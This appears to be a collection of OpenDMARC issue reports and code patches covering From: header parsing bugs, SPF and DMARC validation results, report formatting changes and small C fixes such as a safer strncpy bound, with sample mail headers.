Sep 23 08:01:25 myhostname opendmarc[24511]: w8NC160P020145: Authentication-Results header add failed
Sep 23 08:01:25 myhostname opendmarc[24511]: w8NC160P020145: DMARC-Filter header add failed

I'm assuming that what's going on there in that 10-second gap is opendmarc waiting for a response to a DNS query, though I suppose that could be a bad guess. If I'm right, then I think you need to reduce the timeouts on those query so that opendmarc can finish its work within the time sendmail is expecting.

Incorrect domain parsing for policy verification when header contain quoted-string

Hi,

We have seen several incorrect DMARC failures in OpenDMARC-1.3.2, when SPF check and alignment were passing.
After investigating the issue, we have identified that all failures have the same "From:" header pattern, which contain a comma inside quoted-string that were inside quoted string.
For example, below header resulted with pdomain=Medtronic:
From: "\"Medtronic, Inc.\"" <[email protected]>

When it should be pdomain=ansmtp.ariba.com.
This invalid parsing has caused SPF alignment to fail, thus the message was rejected.

According to RFC5322 3.2.4:

Also note that since quoted-pair is allowed in a quoted-string, the quote and backslash characters may appear in a quoted-string so long as they appear as a quoted-pair.

Regards,
Neta

opendmarc_util_finddomain may parse From: incorrectly

I encountered an unusual From address in production (modified here for privacy reasons):

From: "\"AcmeCorp, Inc.\"" <[email protected]>

The function opendmarc_util_finddomain will return simply "AcmeCorp" from this address. The escaping shown is part of the From address the sender generated.

The net result for these emails was that the pdomain was set to "AcmeCorp" but it ultimately returned a failed DMARC check as follows:

Authentication-Results: mail1.tstechnology.net; dmarc=fail (p=reject dis=none) header.from=otheraddress.random.com

In the report the results were something like:


job 9124B80D79
reporter mail1.mailprovider.com
received 1561649315
ipaddr x.x.x.x
from otheraddress.random.com
mfrom otheraddress.random.com
dkim otheraddress.random.com 0
spf 0
pdomain AcmeCorp
policy 16
rua mailto:[email protected]
pct 100
adkim 114
aspf 114
p 114
sp 110
align_dkim 5
align_spf 5
action 2

Not entirely sure whose responsibility this is. I guess the From is malformed, but then if the From is malformed shouldn't opendmarc ignore it?

patch to dmarc.h

--- ./libopendmarc/dmarc.h.orig Mon Dec 21 11:46:58 2020
+++ ./libopendmarc/dmarc.h      Mon Dec 21 11:47:32 2020
@@ -149,7 +149,7 @@
  * TLD processing
  */
 int               opendmarc_tld_read_file(char *path_fname, char *commentstring, char *drop, char *except);
-void              opendmarc_tld_shutdown();
+void              opendmarc_tld_shutdown(void);
 
 /*
  * XML Parsing

SPF: do the โ€œMAIL FROMโ€ check after the โ€œHELOโ€ check

OpenDMARC can perform the SPF checks and adds the result in an Authentication-Results: header. The specification gives an example of such a header:

   Authentication-Results: myhost.example.org; spf=pass
     smtp.mailfrom=example.net

but at the same time the specification recommends to check both the โ€œMAIL FROMโ€ and โ€œHELOโ€ identities, with โ€œHELOโ€ being first.

Looking at the code in opendmarc_spf.c:173, it looks like OpenDMARC prefers to perform only the โ€œMAIL FROMโ€ check, when it can.

  • Tweak OpenDMARC to perform the MAIL FROM check after the HELO check, if the HELO check was not sufficient.
  • When both checks are performed, record the output of both of them in the Authentication-Results header.

Include Delivery-Result: and Arrival-Date: in the message/feedback-report

... by moving the "Enact policy based on DMARC results" snippet before the "Generate a failure report" snippet.

diff --git a/opendmarc/opendmarc.c b/opendmarc/opendmarc.c
--- a/opendmarc/opendmarc.c
+++ b/opendmarc/opendmarc.c
@@ -3131,6 +3131,229 @@ mlfi_eom(SMFICTX *ctx)
 		break;
 	}
 
+	/*
+	**  Enact policy based on DMARC results.
+	*/
+
+	result = DMARC_RESULT_ACCEPT;
+	ret = SMFIS_ACCEPT;
+
+	switch (policy)
+	{
+	  case DMARC_POLICY_ABSENT:		/* No DMARC record found */
+	  case DMARC_FROM_DOMAIN_ABSENT:	/* No From: domain */
+		aresult = "none";
+		break;
+
+	  case DMARC_POLICY_NONE:		/* Alignment failed, but policy is none: */
+		aresult = "fail";		/* Accept and report */
+		break;
+
+	  case DMARC_POLICY_PASS:		/* Explicit accept */
+		aresult = "pass";
+		break;
+
+	  case DMARC_POLICY_REJECT:		/* Explicit reject */
+		aresult = "fail";
+		ret = SMFIS_CONTINUE;
+
+		if (conf->conf_rejectfail && random() % 100 < pct)
+		{
+			snprintf(replybuf, sizeof replybuf,
+			         "rejected by DMARC policy for %s", pdomain);
+
+			status = dmarcf_setreply(ctx, DMARC_REJECT_SMTP,
+			                         DMARC_REJECT_ESC, replybuf);
+			if (status != MI_SUCCESS && conf->conf_dolog)
+			{
+				syslog(LOG_ERR, "%s: smfi_setreply() failed",
+				       dfc->mctx_jobid);
+			}
+
+			ret = SMFIS_REJECT;
+			result = DMARC_RESULT_REJECT;
+		}
+
+		if (conf->conf_copyfailsto != NULL)
+		{
+			status = dmarcf_addrcpt(ctx, conf->conf_copyfailsto);
+			if (status != MI_SUCCESS && conf->conf_dolog)
+			{
+				syslog(LOG_ERR, "%s: smfi_addrcpt() failed",
+				       dfc->mctx_jobid);
+			}
+		}
+
+		break;
+
+	  case DMARC_POLICY_QUARANTINE:		/* Explicit quarantine */
+		aresult = "fail";
+		ret = SMFIS_CONTINUE;
+
+		if (conf->conf_rejectfail && random() % 100 < pct)
+		{
+			snprintf(replybuf, sizeof replybuf,
+			         "quarantined by DMARC policy for %s",
+			         pdomain);
+
+			status = smfi_quarantine(ctx, replybuf);
+			if (status != MI_SUCCESS && conf->conf_dolog)
+			{
+				syslog(LOG_ERR, "%s: smfi_quarantine() failed",
+				       dfc->mctx_jobid);
+			}
+
+			ret = SMFIS_ACCEPT;
+			result = DMARC_RESULT_QUARANTINE;
+		}
+
+		if (conf->conf_copyfailsto != NULL)
+		{
+			status = dmarcf_addrcpt(ctx, conf->conf_copyfailsto);
+			if (status != MI_SUCCESS && conf->conf_dolog)
+			{
+				syslog(LOG_ERR, "%s: smfi_addrcpt() failed",
+				       dfc->mctx_jobid);
+			}
+		}
+
+		break;
+
+	  default:
+		aresult = "temperror";
+		ret = SMFIS_TEMPFAIL;
+		result = DMARC_RESULT_TEMPFAIL;
+		break;
+	}
+
+	/* ARC override
+	** If DMARC is in failure mode, we will allow the message provided that arc
+	** information is valid: arc=pass, arc.chain is present, and all listed
+	** domains in the chain are whitelisted.
+	**
+	** Additional logging is provided when DMARC is in failure mode and arc=pass
+	** but authentication still fails because of an invalid arc.chain to assist
+	** with administrative debugging.
+	*/
+	if (result == DMARC_RESULT_REJECT &&
+	    dfc->mctx_arcpass == ARES_RESULT_PASS &&
+	    dfc->mctx_arcpolicypass != DMARC_ARC_POLICY_RESULT_PASS &&
+	    conf->conf_dolog)
+	{
+		syslog(LOG_NOTICE,
+		       "%s: ARC pass, policy fail > continuing DMARC eval",
+		       dfc->mctx_jobid);
+	}
+
+	if (result == DMARC_RESULT_REJECT && dfc->mctx_arcpolicypass == DMARC_ARC_POLICY_RESULT_PASS)
+	{
+		ret = SMFIS_ACCEPT;
+		result = DMARC_RESULT_ACCEPT;
+		if (conf->conf_dolog)
+		{
+			syslog(LOG_NOTICE,
+			       "%s: ARC pass, policy pass > overriding DMARC fail",
+			       dfc->mctx_jobid);
+		}
+	}
+
+	/* append arc override to historyfile
+	**
+	**  <reason>
+	**    <type>local_policy</type>
+	**	  <comment>
+	**	    arc=[status] as[N].d=dN.example.com as[N].s=sN
+	**          .. as[1].d=d1.example.com as[1].s=s1 client-ip[1]=10.10.10.13
+	**	  </comment>
+	**  </reason>
+	**
+	** Where:
+	**   arc_policy 1 json:[
+	**                         { i=2, d = d2.example, s = s2, ip = addr2 },
+	**                         { i=1, d = d1.example, s = s1, ip = addr1 }
+	**                     ]
+	*/
+	dmarcf_dstring_printf(dfc->mctx_histbuf, "arc %d\n",
+	                      dfc->mctx_arcpass);
+
+	/*
+	** iterate through arcseal headers and add results to report
+	*/
+	u_char arcseal_str[HIST_MAX_ARCSEAL_LIST_LEN + 1] = { '\0' };
+	u_char arcseal_buf[HIST_MAX_ARCSEAL_LEN + 1];
+	struct arcares arcares;
+	struct arcares_arc_field arcares_arc_field;
+
+	for (as_hdr = dfc->mctx_ashead, c = 0;
+	     as_hdr != NULL;
+	     as_hdr = as_hdr->arcseal_next, c++)
+	{
+		/* fetch smtp.client_ip from aar */
+		if (opendmarc_arcares_list_pluck(as_hdr->arcseal.instance, dfc->mctx_aarhead, &arcares) == 0)
+			(void) opendmarc_arcares_arc_parse(arcares.arc, &arcares_arc_field);
+
+		snprintf(arcseal_buf, sizeof arcseal_str,
+		         "%s{ \"i\": %d, \"d\":\"%s\", \"s\":\"%s\", \"ip\":\"%s\" }",
+		         (c > 0) ? ", " : "",
+		         as_hdr->arcseal.instance,
+		         as_hdr->arcseal.signature_domain,
+		         as_hdr->arcseal.signature_selector,
+			 arcares_arc_field.smtpclientip);
+		strlcat(arcseal_str, (const char *)arcseal_buf, sizeof arcseal_str);
+	}
+
+	dmarcf_dstring_printf(dfc->mctx_histbuf,
+	                      "arc_policy %d json:[%s]\n",
+	                      dfc->mctx_arcpolicypass,
+	                      arcseal_str);
+
+	/* prepare human readable dispositon string for later processing */
+	switch (result)
+	{
+	  case DMARC_RESULT_REJECT:
+		adisposition = "reject";
+		break;
+
+	  case DMARC_RESULT_QUARANTINE:
+		adisposition = "quarantine";
+		break;
+
+	  default:
+		adisposition = "none";
+		break;
+	}
+
+	if (conf->conf_dolog)
+	{
+		syslog(LOG_INFO, "%s: %s %s", dfc->mctx_jobid,
+		       dfc->mctx_fromdomain, aresult);
+	}
+
+	/* if the final action isn't TEMPFAIL or REJECT, add an A-R field */
+	if (ret != SMFIS_TEMPFAIL && ret != SMFIS_REJECT)
+	{
+		snprintf(header, sizeof header,
+		         "%s%s%s; dmarc=%s (p=%s dis=%s) header.from=%s",
+		         authservid,
+		         conf->conf_authservidwithjobid ? "/" : "",
+		         conf->conf_authservidwithjobid ? dfc->mctx_jobid : "",
+		         aresult, apolicy, adisposition, dfc->mctx_fromdomain);
+
+		if (dmarcf_insheader(ctx, 1, AUTHRESULTSHDR,
+		                     header) == MI_FAILURE)
+		{
+			if (conf->conf_dolog)
+			{
+				syslog(LOG_ERR,
+				       "%s: %s header add failed",
+				       dfc->mctx_jobid,
+				       AUTHRESULTSHDR);
+			}
+		}
+	}
+
+	dmarcf_dstring_printf(dfc->mctx_histbuf, "action %d\n", result);
+
 	/*
 	**  Generate a failure report.
 	*/
@@ -3277,8 +3500,23 @@ mlfi_eom(SMFICTX *ctx)
 			                      "This is an authentication "
 			                      "failure report for an email "
 			                      "message received from IP\n"
-			                      "%s on %s.\n\n",
-			                      cc->cctx_ipstr, timebuf);
+			                      "%s on %s.  The message was ", cc->cctx_ipstr, timebuf);
+			switch (result) {
+			  case DMARC_RESULT_REJECT:
+				dmarcf_dstring_printf(dfc->mctx_afrf, "rejected.\n\n");
+				break;
+			  case DMARC_RESULT_QUARANTINE:
+				dmarcf_dstring_printf(dfc->mctx_afrf, "quarantined.\n\n");
+				break;
+			  case DMARC_RESULT_TEMPFAIL:
+				dmarcf_dstring_printf(dfc->mctx_afrf, "temporary rejected.\n\n");
+				break;
+			  case DMARC_RESULT_ACCEPT:
+				dmarcf_dstring_printf(dfc->mctx_afrf, "delivered.\n\n");
+				break;
+			  default: /* impossible */
+                               assert(0);
+			}
 
 			dmarcf_dstring_printf(dfc->mctx_afrf,
 			                      "--%s:%s\n"
@@ -3309,6 +3547,29 @@ mlfi_eom(SMFICTX *ctx)
 			                      "Original-Mail-From: %s\n",
 			                      dfc->mctx_envfrom);
 
+			dmarcf_dstring_printf(dfc->mctx_afrf,
+			                      "Arrival-Date: %s\n", timebuf);
+
+			switch (result) {
+			  case DMARC_RESULT_REJECT:
+				dmarcf_dstring_printf(dfc->mctx_afrf,
+						"Delivery-Result: reject\n");
+				break;
+			  case DMARC_RESULT_QUARANTINE:
+				dmarcf_dstring_printf(dfc->mctx_afrf,
+						"Delivery-Result: policy (quarantined)\n");
+				break;
+			  case DMARC_RESULT_TEMPFAIL:
+				dmarcf_dstring_printf(dfc->mctx_afrf,
+						"Delivery-Result: other (temporary rejected)\n");
+				break;
+			  case DMARC_RESULT_ACCEPT:
+				dmarcf_dstring_printf(dfc->mctx_afrf,
+						"Delivery-Result: delivered\n");
+				break;
+			  /* default: impossible */
+			}
+
 			dmarcf_dstring_printf(dfc->mctx_afrf,
 			                      "Source-IP: %s (%s)\n",
 			                      cc->cctx_ipstr,
@@ -3380,228 +3642,7 @@ mlfi_eom(SMFICTX *ctx)
 		}
 	}
 
-	/*
-	**  Enact policy based on DMARC results.
-	*/
-
-	result = DMARC_RESULT_ACCEPT;
-	ret = SMFIS_ACCEPT;
-
-	switch (policy)
-	{
-	  case DMARC_POLICY_ABSENT:		/* No DMARC record found */
-	  case DMARC_FROM_DOMAIN_ABSENT:	/* No From: domain */
-		aresult = "none";
-		break;
-
-	  case DMARC_POLICY_NONE:		/* Alignment failed, but policy is none: */
-		aresult = "fail";		/* Accept and report */
-		break;
-
-	  case DMARC_POLICY_PASS:		/* Explicit accept */
-		aresult = "pass";
-		break;
-
-	  case DMARC_POLICY_REJECT:		/* Explicit reject */
-		aresult = "fail";
-		ret = SMFIS_CONTINUE;
-
-		if (conf->conf_rejectfail && random() % 100 < pct)
-		{
-			snprintf(replybuf, sizeof replybuf,
-			         "rejected by DMARC policy for %s", pdomain);
-
-			status = dmarcf_setreply(ctx, DMARC_REJECT_SMTP,
-			                         DMARC_REJECT_ESC, replybuf);
-			if (status != MI_SUCCESS && conf->conf_dolog)
-			{
-				syslog(LOG_ERR, "%s: smfi_setreply() failed",
-				       dfc->mctx_jobid);
-			}
-
-			ret = SMFIS_REJECT;
-			result = DMARC_RESULT_REJECT;
-		}
-
-		if (conf->conf_copyfailsto != NULL)
-		{
-			status = dmarcf_addrcpt(ctx, conf->conf_copyfailsto);
-			if (status != MI_SUCCESS && conf->conf_dolog)
-			{
-				syslog(LOG_ERR, "%s: smfi_addrcpt() failed",
-				       dfc->mctx_jobid);
-			}
-		}
-
-		break;
-
-	  case DMARC_POLICY_QUARANTINE:		/* Explicit quarantine */
-		aresult = "fail";
-		ret = SMFIS_CONTINUE;
-
-		if (conf->conf_rejectfail && random() % 100 < pct)
-		{
-			snprintf(replybuf, sizeof replybuf,
-			         "quarantined by DMARC policy for %s",
-			         pdomain);
-
-			status = smfi_quarantine(ctx, replybuf);
-			if (status != MI_SUCCESS && conf->conf_dolog)
-			{
-				syslog(LOG_ERR, "%s: smfi_quarantine() failed",
-				       dfc->mctx_jobid);
-			}
-
-			ret = SMFIS_ACCEPT;
-			result = DMARC_RESULT_QUARANTINE;
-		}
-
-		if (conf->conf_copyfailsto != NULL)
-		{
-			status = dmarcf_addrcpt(ctx, conf->conf_copyfailsto);
-			if (status != MI_SUCCESS && conf->conf_dolog)
-			{
-				syslog(LOG_ERR, "%s: smfi_addrcpt() failed",
-				       dfc->mctx_jobid);
-			}
-		}
-
-		break;
 
-	  default:
-		aresult = "temperror";
-		ret = SMFIS_TEMPFAIL;
-		result = DMARC_RESULT_TEMPFAIL;
-		break;
-	}
-
-	/* ARC override
-	** If DMARC is in failure mode, we will allow the message provided that arc
-	** information is valid: arc=pass, arc.chain is present, and all listed
-	** domains in the chain are whitelisted.
-	**
-	** Additional logging is provided when DMARC is in failure mode and arc=pass
-	** but authentication still fails because of an invalid arc.chain to assist
-	** with administrative debugging.
-	*/
-	if (result == DMARC_RESULT_REJECT &&
-	    dfc->mctx_arcpass == ARES_RESULT_PASS &&
-	    dfc->mctx_arcpolicypass != DMARC_ARC_POLICY_RESULT_PASS &&
-	    conf->conf_dolog)
-	{
-		syslog(LOG_NOTICE,
-		       "%s: ARC pass, policy fail > continuing DMARC eval",
-		       dfc->mctx_jobid);
-	}
-
-	if (result == DMARC_RESULT_REJECT && dfc->mctx_arcpolicypass == DMARC_ARC_POLICY_RESULT_PASS)
-	{
-		ret = SMFIS_ACCEPT;
-		result = DMARC_RESULT_ACCEPT;
-		if (conf->conf_dolog)
-		{
-			syslog(LOG_NOTICE,
-			       "%s: ARC pass, policy pass > overriding DMARC fail",
-			       dfc->mctx_jobid);
-		}
-	}
-
-	/* append arc override to historyfile
-	**
-	**  <reason>
-	**    <type>local_policy</type>
-	**	  <comment>
-	**	    arc=[status] as[N].d=dN.example.com as[N].s=sN
-	**          .. as[1].d=d1.example.com as[1].s=s1 client-ip[1]=10.10.10.13
-	**	  </comment>
-	**  </reason>
-	**
-	** Where:
-	**   arc_policy 1 json:[
-	**                         { i=2, d = d2.example, s = s2, ip = addr2 },
-	**                         { i=1, d = d1.example, s = s1, ip = addr1 }
-	**                     ]
-	*/
-	dmarcf_dstring_printf(dfc->mctx_histbuf, "arc %d\n",
-	                      dfc->mctx_arcpass);
-
-	/*
-	** iterate through arcseal headers and add results to report
-	*/
-	u_char arcseal_str[HIST_MAX_ARCSEAL_LIST_LEN + 1] = { '\0' };
-	u_char arcseal_buf[HIST_MAX_ARCSEAL_LEN + 1];
-	struct arcares arcares;
-	struct arcares_arc_field arcares_arc_field;
-
-	for (as_hdr = dfc->mctx_ashead, c = 0;
-	     as_hdr != NULL;
-	     as_hdr = as_hdr->arcseal_next, c++)
-	{
-		/* fetch smtp.client_ip from aar */
-		if (opendmarc_arcares_list_pluck(as_hdr->arcseal.instance, dfc->mctx_aarhead, &arcares) == 0)
-			(void) opendmarc_arcares_arc_parse(arcares.arc, &arcares_arc_field);
-
-		snprintf(arcseal_buf, sizeof arcseal_str,
-		         "%s{ \"i\": %d, \"d\":\"%s\", \"s\":\"%s\", \"ip\":\"%s\" }",
-		         (c > 0) ? ", " : "",
-		         as_hdr->arcseal.instance,
-		         as_hdr->arcseal.signature_domain,
-		         as_hdr->arcseal.signature_selector,
-			 arcares_arc_field.smtpclientip);
-		strlcat(arcseal_str, (const char *)arcseal_buf, sizeof arcseal_str);
-	}
-
-	dmarcf_dstring_printf(dfc->mctx_histbuf,
-	                      "arc_policy %d json:[%s]\n",
-	                      dfc->mctx_arcpolicypass,
-	                      arcseal_str);
-
-	/* prepare human readable dispositon string for later processing */
-	switch (result)
-	{
-	  case DMARC_RESULT_REJECT:
-		adisposition = "reject";
-		break;
-
-	  case DMARC_RESULT_QUARANTINE:
-		adisposition = "quarantine";
-		break;
-
-	  default:
-		adisposition = "none";
-		break;
-	}
-
-	if (conf->conf_dolog)
-	{
-		syslog(LOG_INFO, "%s: %s %s", dfc->mctx_jobid,
-		       dfc->mctx_fromdomain, aresult);
-	}
-
-	/* if the final action isn't TEMPFAIL or REJECT, add an A-R field */
-	if (ret != SMFIS_TEMPFAIL && ret != SMFIS_REJECT)
-	{
-		snprintf(header, sizeof header,
-		         "%s%s%s; dmarc=%s (p=%s dis=%s) header.from=%s",
-		         authservid,
-		         conf->conf_authservidwithjobid ? "/" : "",
-		         conf->conf_authservidwithjobid ? dfc->mctx_jobid : "",
-		         aresult, apolicy, adisposition, dfc->mctx_fromdomain);
-
-		if (dmarcf_insheader(ctx, 1, AUTHRESULTSHDR,
-		                     header) == MI_FAILURE)
-		{
-			if (conf->conf_dolog)
-			{
-				syslog(LOG_ERR,
-				       "%s: %s header add failed",
-				       dfc->mctx_jobid,
-				       AUTHRESULTSHDR);
-			}
-		}
-	}
-
-	dmarcf_dstring_printf(dfc->mctx_histbuf, "action %d\n", result);
 
 	/*
 	**  Record activity in the history file.

Exclude non-free Internet Drafts from release tarball

In Debian, we cannot use the release tarball directly, because it
contains files that Debian considers non-free. We have to repack the
tarball, and use an additional +dfsg suffix in the package version,
which is not ideal.

List of files that are non-free and have to be excluded in Debian:

docs/draft-dmarc-base-00.txt
docs/draft-dmarc-base-01.txt
docs/draft-dmarc-base-02.txt
docs/draft-dmarc-base-03.txt
docs/draft-dmarc-base-04.txt
docs/draft-dmarc-base-05.txt
docs/draft-dmarc-base-06.txt
docs/draft-dmarc-base-07.txt
docs/draft-dmarc-base-08.txt
docs/draft-dmarc-base-09.txt
docs/draft-dmarc-base-10.txt
docs/draft-dmarc-base-11.txt
docs/draft-dmarc-base-12.txt
docs/draft-dmarc-base-13.txt

Please consider whether it is possible to drop these files from the
release tarball. It would make maintenance of the package in Debian a
little bit easier.

patch to opendmarc_tld.c

--- ./libopendmarc/opendmarc_tld.c.orig Mon Dec 21 11:53:05 2020
+++ ./libopendmarc/opendmarc_tld.c      Mon Dec 21 11:53:29 2020
@@ -110,7 +110,7 @@
        u_char  buf[BUFSIZ];
        char *  cp;
        void *  vp;
-       int     nlines;
+       int     nlines=0;
        int     ret;
        u_char  revbuf[MAXDNSHOSTNAME];
        int     adddot;

patch to opendmarc_internal.h

--- ./libopendmarc/opendmarc_internal.h.orig    Mon Dec 21 11:42:32 2020
+++ ./libopendmarc/opendmarc_internal.h Mon Dec 21 11:42:58 2020
@@ -217,7 +217,7 @@
 int                    opendmarc_tld_read_file(char *path_fname, char *commentstring, char *drop, char *except);
 int                    opendmarc_get_tld(u_char *domain, u_char *tld, size_t tld_len);
 int                     opendmarc_reverse_domain(u_char *domain, u_char *buf, size_t buflen);
-void                   opendmarc_tld_shutdown();
+void                   opendmarc_tld_shutdown(void);
 
 /* opendmarc_util.c */
 u_char ** opendmarc_util_pushargv(u_char *str, u_char **ary, int *cnt);

opendmarc/opendmarc.c:mlfi_envfrom(): fix usage of strncpy(dfc->mctx_envdomain, โ€ฆ)

diff --git a/opendmarc/opendmarc.c b/opendmarc/opendmarc.c
--- a/opendmarc/opendmarc.c
+++ b/opendmarc/opendmarc.c
@@ -2121,7 +2121,7 @@ mlfi_envfrom(SMFICTX *ctx, char **envfrom)
 
                p = strchr(dfc->mctx_envfrom, '@');
                if (p != NULL)
-                       strncpy(dfc->mctx_envdomain, p + 1, strlen(p + 1));
+                       strncpy(dfc->mctx_envdomain, p + 1, sizeof dfc->mctx_envdomain - 1);
        }
 
        return SMFIS_CONTINUE;

SPF is not validated correctly

I encountered errors from domain dhl.de, the company set up DMARC and SPF records, but does not provide DKIM. I received dmarc=fail errors, although the SPF passes. The DNS dmarc entry for the domain lists fo=0.

I had assumed, that although that means, that a reject should be made, when all underlying methods fail, if dkim is not present, it should not fail, that means SPF would have been left over.

So I tested this with one of my own domains and I could reproduce the error and it might have been because the postfix (or any other sendmail style milter) doesn't receive the first header.

So if I include a postfix policyd-spf-python policy daemon, which inserts another header, that checks the SPF (and here you can see, that the SPF should work out fine), only then OpenDMARC passes the mail with dmarc=pass.

Bad example, without postfix-policyd-spf-python:

Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received: from raven.layer-7.net (raven.layer-7.net [78.46.195.163])
	by mx.layer-7.net (Postfix) with ESMTP id A1C5C3EB55
	for <[email protected]>; Sat,  5 Jan 2019 18:30:18 +0100 (CET)
ARC-Filter: OpenARC Filter v0.1.0 mx.layer-7.net A1C5C3EB55
Authentication-Results: raven; arc=none
ARC-Seal: i=1; a=rsa-sha256; d=layer-7.net; s=mail; t=1546709474; cv=none;
	b=PVb8peI4vrdvxy+epbPSnEQyN8L+HvLPlC7MUz9cWvn3rAcGHTI/Nb7RohtJf8NHoVM0LkxYm7L6gBqO4OZ4L7QipMfpzDWcqL8gMDG6vMZYlOjx7QA7Y6YQvkh+DNGjEmZ9xi8ugBoxtgcxctjZYn2dOWpQktKsYT2bjZacOqbjiKTdZ5B3gOL8QL/1ldCO1RTzGCg+hgxNp84t6xGjhYKqKvc4MHFJKS/HNwXGgf3HLLd6WKb6TZMDFZGhTMIbdy8pk5Un1fFf+h9+Ky7eh3fi4JgPU+P2GhFpO0YNeKdSuaYs7J7HB1uhuhKfAEStPBqLkUi4opWoHOrMDE7MIg==
ARC-Message-Signature: i=1; a=rsa-sha256; d=layer-7.net; s=mail;
	t=1546709474; c=relaxed/simple;
	bh=tzTAuFyHKIPtxcgHleTnY+vI8VBV1fweGEGleB70TvE=;
	h=DMARC-Filter:Subject:To:Message-Id:Date:From; b=H/uiH/PKo0r/YP0WHxIcqo2RqLrcxh2TP4fZ+kISF3LQT9VOGEtJT4jdL73DK6buysDG6FLsr9Iorud3VUKfDB7/xGSUgkwMPUSvJtj+qvlA9UNJ0XuWuGiU29vUVlVFOj4aK9gPbLFrt7pkPIRBM8ahpArSXm58O3gfzb3BoGd5Xx7lo9LeE/FoiWX8/xdVfb34/btObX4+qe6lNoig8y5CNwvuBMWCeWWOAhJ3gfZoBOSvc4QyH8sBMcVRWjsa/9E3rxQf309xK585r0kXSwSywCMBBC+nKyri48FvJcRWqHGDMzn/1948fO+7MhAnRx6iN4x9NSCj9cKAf7g6lw==
ARC-Authentication-Results: i=1; raven; arc=none
DMARC-Filter: OpenDMARC Filter v1.3.2 mx.layer-7.net A1C5C3EB55
Authentication-Results: mx.layer-7.net; dmarc=fail (p=quarantine dis=none) header.from=zwergenbuch.de
Subject: DMARC with SPF without DKIM without policyd-spf
To: [email protected]
Message-Id: <[email protected]>
Date: Sat,  5 Jan 2019 18:30:18 +0100 (CET)
From: [email protected]
X-Sorted: Default

Test with DMARC with SPF without DKIM without policyd-spf

Good example with policyd inserting a header:

Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received-SPF: Pass (mailfrom) identity=mailfrom; client-ip=78.46.195.163; helo=zwergenbuch.de; [email protected]; receiver=<UNKNOWN> 
ARC-Filter: OpenARC Filter v0.1.0 mx.layer-7.net 6486E3EB55
Authentication-Results: raven; arc=none
ARC-Seal: i=1; a=rsa-sha256; d=layer-7.net; s=mail; t=1546709576; cv=none;
	b=PWyZ/zBYU+Xq49ARdn1DUTtJ1QnERNkM+QGFQAKMDpVxutBgWqam3yVm4EXYQjqwBlAeUj10ehTT5vPJS6Jf4gctv+P/ElUP53e01zI20LnZUlDDWiMQhJDt1NDfMORAkzLReEE0hS7vUB+F4v4BxruxQoD4suhEtxKmN2+4QWxhgeJwjUCeG91/6KKtTWVg6F3VrSMnECyAvCk5E8H20kLir0bAnYaSDFFQ5E3rqSdE5+udXp0Mmx/UXikFrASjtwzRaeOpZKw31/w51FqwR8g9kPxn63RlwkrC1kqV4kl+5n5xdC1pthoy8VnXvyZ54RPTtDv0kOh4UUjuN4EMQw==
ARC-Message-Signature: i=1; a=rsa-sha256; d=layer-7.net; s=mail;
	t=1546709576; c=relaxed/simple;
	bh=eeghwtZnschchek2BLwChUNFcdSMHpXMzjN3Ad8A7/g=;
	h=Received-SPF:DMARC-Filter:Subject:To:Message-Id:Date:From; b=t2RlXRWpl5kfRbH4fyhF0CXC8N6Ik31/NsOW0zqKu1JksWjbTIJhfhkBQZqg4dRGgtM1PGM4+JpDviPGABc292I3N1AXD/d7F4oPo1xkCasKqsfox/Z5tmmFHheOj71Aq9YR5TOxjqNK/xKljgzDd+uK0PCIkjuIkraBf6no36oBbiwBSVrHrzjMDcqgqfcwX8Vc/zR6Nw0I8qa2xSxoHu7ApOevF9cFv2GyHfmegGhnBSTTvjYvk2X5h7WDSlRMmWp5GGg95ihprSgNRHPqjqaxc8ORgXa4cgnNBPJOxOE8tv08lEfBnCHbxpi1uL+zcv11Ghn/+RUCaMa/jRgkVg==
ARC-Authentication-Results: i=1; raven; arc=none
DMARC-Filter: OpenDMARC Filter v1.3.2 mx.layer-7.net 6486E3EB55
Authentication-Results: mx.layer-7.net; dmarc=pass (p=quarantine dis=none) header.from=zwergenbuch.de
Received: from raven.layer-7.net (raven.layer-7.net [78.46.195.163])
	by mx.layer-7.net (Postfix) with SMTP id 6486E3EB55
	for <[email protected]>; Sat,  5 Jan 2019 18:32:16 +0100 (CET)
Subject: DMARC with SPF without DKIM with policyd-spf
To: [email protected]
Message-Id: <[email protected]>
Date: Sat,  5 Jan 2019 18:32:16 +0100 (CET)
From: [email protected]
X-Sorted: Default

Test with DMARC with SPF without DKIM with policyd-spf

Also, here you can see, that the last Received: from raven by mx... is now in the headerlist below the Authentication-Results: header. Maybe that is the reason, I have had no time to look into the OpenDMARC source, how the SPF check works.

The original message from the postfix developer confirms that: https://marc.info/?l=postfix-users&m=134153300820238&w=3

Update: I tested this now also with the policyd-spf from an non-SPF approved host and no DKIM signature and I got now this validation message:

Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received-SPF: Softfail (mailfrom) identity=mailfrom; client-ip=2001:a62:611:d702:74bb:e4c5:59d6:8f68; helo=magpie.layer-7.net; [email protected]; receiver=<UNKNOWN> 
ARC-Filter: OpenARC Filter v0.1.0 mx.layer-7.net 7B6343EB36
Authentication-Results: raven; arc=none
ARC-Seal: i=1; a=rsa-sha256; d=layer-7.net; s=mail; t=1546710609; cv=none;
	b=eEmB+lO4gvCpaBHBmpKDgpxfZDwUkz65uW2bcdfwAsO7fv08aBWLbkPKxQRMbXa5t7b8meJse+kBd3qe0x8TvxQvw1p1PIjZ2EHT7mD+HbcoWxDDYribIdtTO9+UuwhtMIfPTniwZnIhKjAksd4vu5G5CS5/KNe3/DUBqqQ941gZmvOrSbzH78i/gbFSJcxWaU72Yp/o8bDL2Yj0CdDhx3FwmiTaN9z6a7hP0fKlRg6maj4VEJ5PjzRg2Ut5KIItj7lcyuj5PwBCNJZCDnhJoDVEgsnnj2QLPM5SL/9gptKV7kE1IQ0r/M8iR5ab9Q7yHqzATAdNvMW2rrrHHRmtcw==
ARC-Message-Signature: i=1; a=rsa-sha256; d=layer-7.net; s=mail;
	t=1546710609; c=relaxed/simple;
	bh=0Ut+s4Y3PRmtOxE9+O3VFCp1bdxKxM1LSMKlnIAj4ZM=;
